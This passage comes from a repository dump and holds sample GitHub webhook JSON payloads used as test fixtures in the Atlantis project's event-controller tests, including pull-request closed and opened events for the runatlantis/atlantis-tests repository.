"https://api.github.com/repos/baxterthehacker/public-repo/commits{/sha}", "git_commits_url": "https://api.github.com/repos/baxterthehacker/public-repo/git/commits{/sha}", "comments_url": "https://api.github.com/repos/baxterthehacker/public-repo/comments{/number}", "issue_comment_url": "https://api.github.com/repos/baxterthehacker/public-repo/issues/comments{/number}", "contents_url": "https://api.github.com/repos/baxterthehacker/public-repo/contents/{+path}", "compare_url": "https://api.github.com/repos/baxterthehacker/public-repo/compare/{base}...{head}", "merges_url": "https://api.github.com/repos/baxterthehacker/public-repo/merges", "archive_url": "https://api.github.com/repos/baxterthehacker/public-repo/{archive_format}{/ref}", "downloads_url": "https://api.github.com/repos/baxterthehacker/public-repo/downloads", "issues_url": "https://api.github.com/repos/baxterthehacker/public-repo/issues{/number}", "pulls_url": "https://api.github.com/repos/baxterthehacker/public-repo/pulls{/number}", "milestones_url": "https://api.github.com/repos/baxterthehacker/public-repo/milestones{/number}", "notifications_url": "https://api.github.com/repos/baxterthehacker/public-repo/notifications{?since,all,participating}", "labels_url": "https://api.github.com/repos/baxterthehacker/public-repo/labels{/name}", "releases_url": "https://api.github.com/repos/baxterthehacker/public-repo/releases{/id}", "created_at": "2015-05-05T23:40:12Z", "updated_at": "2015-05-05T23:40:12Z", "pushed_at": "2015-05-05T23:40:27Z", "git_url": "git://github.com/baxterthehacker/public-repo.git", "ssh_url": "git@github.com:baxterthehacker/public-repo.git", "clone_url": "https://github.com/baxterthehacker/public-repo.git", "svn_url": "https://github.com/baxterthehacker/public-repo", "homepage": null, "size": 0, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": true, "has_downloads": true, "has_wiki": true, "has_pages": true, "forks_count": 0, "mirror_url": null, "open_issues_count": 2, "forks": 0, "open_issues": 2, "watchers": 0, "default_branch": "main" }, "sender": { "login": "baxterthehacker", "id": 6752317, "avatar_url": "https://avatars.githubusercontent.com/u/6752317?v=3", "gravatar_id": "", "url": "https://api.github.com/users/baxterthehacker", "html_url": "https://github.com/baxterthehacker", "followers_url": "https://api.github.com/users/baxterthehacker/followers", "following_url": "https://api.github.com/users/baxterthehacker/following{/other_user}", "gists_url": "https://api.github.com/users/baxterthehacker/gists{/gist_id}", "starred_url": "https://api.github.com/users/baxterthehacker/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/baxterthehacker/subscriptions", "organizations_url": "https://api.github.com/users/baxterthehacker/orgs", "repos_url": "https://api.github.com/users/baxterthehacker/repos", "events_url": "https://api.github.com/users/baxterthehacker/events{/privacy}", "received_events_url": "https://api.github.com/users/baxterthehacker/received_events", "type": "User", "site_admin": false } } ================================================ FILE: server/controllers/events/testdata/githubPullRequestClosedEvent.json ================================================ { "action": "closed", "number": 2, "pull_request": { "url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/2", "id": 193308707, "node_id": "MDExOlB1bGxSZXF1ZXN0MTkzMzA4NzA3", "html_url": "https://github.com/runatlantis/atlantis-tests/pull/2", "diff_url": "https://github.com/runatlantis/atlantis-tests/pull/2.diff", "patch_url": "https://github.com/runatlantis/atlantis-tests/pull/2.patch", "issue_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/2", "number": 2, "state": "closed", "locked": false, "title": "Add new project layouts", "user": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "body": "", "created_at": "2018-06-07T12:45:41Z", "updated_at": "2018-06-16T16:55:19Z", "closed_at": "2018-06-16T16:55:19Z", "merged_at": null, "merge_commit_sha": "e96e1cea0d79f4ff07845060ade0b21ff1ffe37f", "assignee": null, "assignees": [ ], "requested_reviewers": [ ], "requested_teams": [ ], "labels": [ ], "milestone": null, "commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/2/commits", "review_comments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/2/comments", "review_comment_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/comments{/number}", "comments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/2/comments", "statuses_url": "https://api.github.com/repos/runatlantis/atlantis-tests/statuses/5e2d140b2d74bf61675677f01dc947ae8512e18e", "head": { "label": "runatlantis:atlantisyaml", "ref": "atlantisyaml", "sha": "5e2d140b2d74bf61675677f01dc947ae8512e18e", "user": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "repo": { "id": 136474117, "node_id": "MDEwOlJlcG9zaXRvcnkxMzY0NzQxMTc=", "name": "atlantis-tests", "full_name": "runatlantis/atlantis-tests", "owner": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "private": false, "html_url": "https://github.com/runatlantis/atlantis-tests", "description": "A set of terraform projects that atlantis e2e tests run on.", "fork": true, "url": "https://api.github.com/repos/runatlantis/atlantis-tests", "forks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/forks", "keys_url": "https://api.github.com/repos/runatlantis/atlantis-tests/keys{/key_id}", "collaborators_url": "https://api.github.com/repos/runatlantis/atlantis-tests/collaborators{/collaborator}", "teams_url": "https://api.github.com/repos/runatlantis/atlantis-tests/teams", "hooks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/hooks", "issue_events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/events{/number}", "events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/events", "assignees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/assignees{/user}", "branches_url": "https://api.github.com/repos/runatlantis/atlantis-tests/branches{/branch}", "tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/tags", "blobs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/blobs{/sha}", "git_tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/tags{/sha}", "git_refs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/refs{/sha}", "trees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/trees{/sha}", "statuses_url": "https://api.github.com/repos/runatlantis/atlantis-tests/statuses/{sha}", "languages_url": "https://api.github.com/repos/runatlantis/atlantis-tests/languages", "stargazers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/stargazers", "contributors_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contributors", "subscribers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscribers", "subscription_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscription", "commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/commits{/sha}", "git_commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/commits{/sha}", "comments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/comments{/number}", "issue_comment_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/comments{/number}", "contents_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contents/{+path}", "compare_url": "https://api.github.com/repos/runatlantis/atlantis-tests/compare/{base}...{head}", "merges_url": "https://api.github.com/repos/runatlantis/atlantis-tests/merges", "archive_url": "https://api.github.com/repos/runatlantis/atlantis-tests/{archive_format}{/ref}", "downloads_url": "https://api.github.com/repos/runatlantis/atlantis-tests/downloads", "issues_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues{/number}", "pulls_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls{/number}", "milestones_url": "https://api.github.com/repos/runatlantis/atlantis-tests/milestones{/number}", "notifications_url": "https://api.github.com/repos/runatlantis/atlantis-tests/notifications{?since,all,participating}", "labels_url": "https://api.github.com/repos/runatlantis/atlantis-tests/labels{/name}", "releases_url": "https://api.github.com/repos/runatlantis/atlantis-tests/releases{/id}", "deployments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/deployments", "created_at": "2018-06-07T12:28:23Z", "updated_at": "2018-06-07T12:28:27Z", "pushed_at": "2018-06-11T16:22:17Z", "git_url": "git://github.com/runatlantis/atlantis-tests.git", "ssh_url": "git@github.com:runatlantis/atlantis-tests.git", "clone_url": "https://github.com/runatlantis/atlantis-tests.git", "svn_url": "https://github.com/runatlantis/atlantis-tests", "homepage": null, "size": 8, "stargazers_count": 0, "watchers_count": 0, "language": "HCL", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "forks_count": 0, "mirror_url": null, "archived": false, "open_issues_count": 1, "license": { "key": "other", "name": "Other", "spdx_id": null, "url": null, "node_id": "MDc6TGljZW5zZTA=" }, "forks": 0, "open_issues": 1, "watchers": 0, "default_branch": "main" } }, "base": { "label": "runatlantis:main", "ref": "main", "sha": "f59a822e83b3cd193142c7624ea635a5d7894388", "user": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "repo": { "id": 136474117, "node_id": "MDEwOlJlcG9zaXRvcnkxMzY0NzQxMTc=", "name": "atlantis-tests", "full_name": "runatlantis/atlantis-tests", "owner": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "private": false, "html_url": "https://github.com/runatlantis/atlantis-tests", "description": "A set of terraform projects that atlantis e2e tests run on.", "fork": true, "url": "https://api.github.com/repos/runatlantis/atlantis-tests", "forks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/forks", "keys_url": "https://api.github.com/repos/runatlantis/atlantis-tests/keys{/key_id}", "collaborators_url": "https://api.github.com/repos/runatlantis/atlantis-tests/collaborators{/collaborator}", "teams_url": "https://api.github.com/repos/runatlantis/atlantis-tests/teams", "hooks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/hooks", "issue_events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/events{/number}", "events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/events", "assignees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/assignees{/user}", "branches_url": "https://api.github.com/repos/runatlantis/atlantis-tests/branches{/branch}", "tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/tags", "blobs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/blobs{/sha}", "git_tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/tags{/sha}", "git_refs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/refs{/sha}", "trees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/trees{/sha}", "statuses_url": "https://api.github.com/repos/runatlantis/atlantis-tests/statuses/{sha}", "languages_url": "https://api.github.com/repos/runatlantis/atlantis-tests/languages", "stargazers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/stargazers", "contributors_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contributors", "subscribers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscribers", "subscription_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscription", "commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/commits{/sha}", "git_commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/commits{/sha}", "comments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/comments{/number}", "issue_comment_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/comments{/number}", "contents_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contents/{+path}", "compare_url": "https://api.github.com/repos/runatlantis/atlantis-tests/compare/{base}...{head}", "merges_url": "https://api.github.com/repos/runatlantis/atlantis-tests/merges", "archive_url": "https://api.github.com/repos/runatlantis/atlantis-tests/{archive_format}{/ref}", "downloads_url": "https://api.github.com/repos/runatlantis/atlantis-tests/downloads", "issues_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues{/number}", "pulls_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls{/number}", "milestones_url": "https://api.github.com/repos/runatlantis/atlantis-tests/milestones{/number}", "notifications_url": "https://api.github.com/repos/runatlantis/atlantis-tests/notifications{?since,all,participating}", "labels_url": "https://api.github.com/repos/runatlantis/atlantis-tests/labels{/name}", "releases_url": "https://api.github.com/repos/runatlantis/atlantis-tests/releases{/id}", "deployments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/deployments", "created_at": "2018-06-07T12:28:23Z", "updated_at": "2018-06-07T12:28:27Z", "pushed_at": "2018-06-11T16:22:17Z", "git_url": "git://github.com/runatlantis/atlantis-tests.git", "ssh_url": "git@github.com:runatlantis/atlantis-tests.git", "clone_url": "https://github.com/runatlantis/atlantis-tests.git", "svn_url": "https://github.com/runatlantis/atlantis-tests", "homepage": null, "size": 8, "stargazers_count": 0, "watchers_count": 0, "language": "HCL", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "forks_count": 0, "mirror_url": null, "archived": false, "open_issues_count": 1, "license": { "key": "other", "name": "Other", "spdx_id": null, "url": null, "node_id": "MDc6TGljZW5zZTA=" }, "forks": 0, "open_issues": 1, "watchers": 0, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/2" }, "html": { "href": "https://github.com/runatlantis/atlantis-tests/pull/2" }, "issue": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/2" }, "comments": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/2/comments" }, "review_comments": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/2/comments" }, "review_comment": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/2/commits" }, "statuses": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/statuses/5e2d140b2d74bf61675677f01dc947ae8512e18e" } }, "author_association": "OWNER", "merged": false, "mergeable": true, "rebaseable": true, "mergeable_state": "clean", "merged_by": null, "comments": 62, "review_comments": 0, "maintainer_can_modify": false, "commits": 3, "additions": 198, "deletions": 8, "changed_files": 24 }, "repository": { "id": 136474117, "node_id": "MDEwOlJlcG9zaXRvcnkxMzY0NzQxMTc=", "name": "atlantis-tests", "full_name": "runatlantis/atlantis-tests", "owner": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "private": false, "html_url": "https://github.com/runatlantis/atlantis-tests", "description": "A set of terraform projects that atlantis e2e tests run on.", "fork": true, "url": "https://api.github.com/repos/runatlantis/atlantis-tests", "forks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/forks", "keys_url": "https://api.github.com/repos/runatlantis/atlantis-tests/keys{/key_id}", "collaborators_url": "https://api.github.com/repos/runatlantis/atlantis-tests/collaborators{/collaborator}", "teams_url": "https://api.github.com/repos/runatlantis/atlantis-tests/teams", "hooks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/hooks", "issue_events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/events{/number}", "events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/events", "assignees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/assignees{/user}", "branches_url": "https://api.github.com/repos/runatlantis/atlantis-tests/branches{/branch}", "tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/tags", "blobs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/blobs{/sha}", "git_tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/tags{/sha}", "git_refs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/refs{/sha}", "trees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/trees{/sha}", "statuses_url": "https://api.github.com/repos/runatlantis/atlantis-tests/statuses/{sha}", "languages_url": "https://api.github.com/repos/runatlantis/atlantis-tests/languages", "stargazers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/stargazers", "contributors_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contributors", "subscribers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscribers", "subscription_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscription", "commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/commits{/sha}", "git_commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/commits{/sha}", "comments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/comments{/number}", "issue_comment_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/comments{/number}", "contents_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contents/{+path}", "compare_url": "https://api.github.com/repos/runatlantis/atlantis-tests/compare/{base}...{head}", "merges_url": "https://api.github.com/repos/runatlantis/atlantis-tests/merges", "archive_url": "https://api.github.com/repos/runatlantis/atlantis-tests/{archive_format}{/ref}", "downloads_url": "https://api.github.com/repos/runatlantis/atlantis-tests/downloads", "issues_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues{/number}", "pulls_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls{/number}", "milestones_url": "https://api.github.com/repos/runatlantis/atlantis-tests/milestones{/number}", "notifications_url": "https://api.github.com/repos/runatlantis/atlantis-tests/notifications{?since,all,participating}", "labels_url": "https://api.github.com/repos/runatlantis/atlantis-tests/labels{/name}", "releases_url": "https://api.github.com/repos/runatlantis/atlantis-tests/releases{/id}", "deployments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/deployments", "created_at": "2018-06-07T12:28:23Z", "updated_at": "2018-06-07T12:28:27Z", "pushed_at": "2018-06-11T16:22:17Z", "git_url": "git://github.com/runatlantis/atlantis-tests.git", "ssh_url": "git@github.com:runatlantis/atlantis-tests.git", "clone_url": "https://github.com/runatlantis/atlantis-tests.git", "svn_url": "https://github.com/runatlantis/atlantis-tests", "homepage": null, "size": 8, "stargazers_count": 0, "watchers_count": 0, "language": "HCL", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "forks_count": 0, "mirror_url": null, "archived": false, "open_issues_count": 1, "license": { "key": "other", "name": "Other", "spdx_id": null, "url": null, "node_id": "MDc6TGljZW5zZTA=" }, "forks": 0, "open_issues": 1, "watchers": 0, "default_branch": "main" }, "sender": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false } } ================================================ FILE: server/controllers/events/testdata/githubPullRequestOpenedEvent.json ================================================ { "action": "opened", "number": 2, "pull_request": { "url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/2", "id": 194034250, "node_id": "MDExOlB1bGxSZXF1ZXN0MTk0MDM0MjUw", "html_url": "https://github.com/runatlantis/atlantis-tests/pull/2", "diff_url": "https://github.com/runatlantis/atlantis-tests/pull/2.diff", "patch_url": "https://github.com/runatlantis/atlantis-tests/pull/2.patch", "issue_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/2", "number": 2, "state": "open", "locked": false, "title": "branch", "user": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "body": "", "created_at": "2018-06-11T16:22:16Z", "updated_at": "2018-06-11T16:22:16Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignee": null, "assignees": [ ], "requested_reviewers": [ ], "requested_teams": [ ], "labels": [ ], "milestone": null, "commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/2/commits", "review_comments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/2/comments", "review_comment_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/comments{/number}", "comments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/2/comments", "statuses_url": "https://api.github.com/repos/runatlantis/atlantis-tests/statuses/c31fd9ea6f557ad2ea659944c3844a059b83bc5d", "head": { "label": "runatlantis:branch", "ref": "branch", "sha": "c31fd9ea6f557ad2ea659944c3844a059b83bc5d", "user": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "repo": { "id": 136474117, "node_id": "MDEwOlJlcG9zaXRvcnkxMzY0NzQxMTc=", "name": "atlantis-tests", "full_name": "runatlantis/atlantis-tests", "owner": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "private": false, "html_url": "https://github.com/runatlantis/atlantis-tests", "description": "A set of terraform projects that atlantis e2e tests run on.", "fork": true, "url": "https://api.github.com/repos/runatlantis/atlantis-tests", "forks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/forks", "keys_url": "https://api.github.com/repos/runatlantis/atlantis-tests/keys{/key_id}", "collaborators_url": "https://api.github.com/repos/runatlantis/atlantis-tests/collaborators{/collaborator}", "teams_url": "https://api.github.com/repos/runatlantis/atlantis-tests/teams", "hooks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/hooks", "issue_events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/events{/number}", "events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/events", "assignees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/assignees{/user}", "branches_url": "https://api.github.com/repos/runatlantis/atlantis-tests/branches{/branch}", "tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/tags", "blobs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/blobs{/sha}", "git_tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/tags{/sha}", "git_refs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/refs{/sha}", "trees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/trees{/sha}", "statuses_url": "https://api.github.com/repos/runatlantis/atlantis-tests/statuses/{sha}", "languages_url": "https://api.github.com/repos/runatlantis/atlantis-tests/languages", "stargazers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/stargazers", "contributors_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contributors", "subscribers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscribers", "subscription_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscription", "commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/commits{/sha}", "git_commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/commits{/sha}", "comments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/comments{/number}", "issue_comment_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/comments{/number}", "contents_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contents/{+path}", "compare_url": "https://api.github.com/repos/runatlantis/atlantis-tests/compare/{base}...{head}", "merges_url": "https://api.github.com/repos/runatlantis/atlantis-tests/merges", "archive_url": "https://api.github.com/repos/runatlantis/atlantis-tests/{archive_format}{/ref}", "downloads_url": "https://api.github.com/repos/runatlantis/atlantis-tests/downloads", "issues_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues{/number}", "pulls_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls{/number}", "milestones_url": 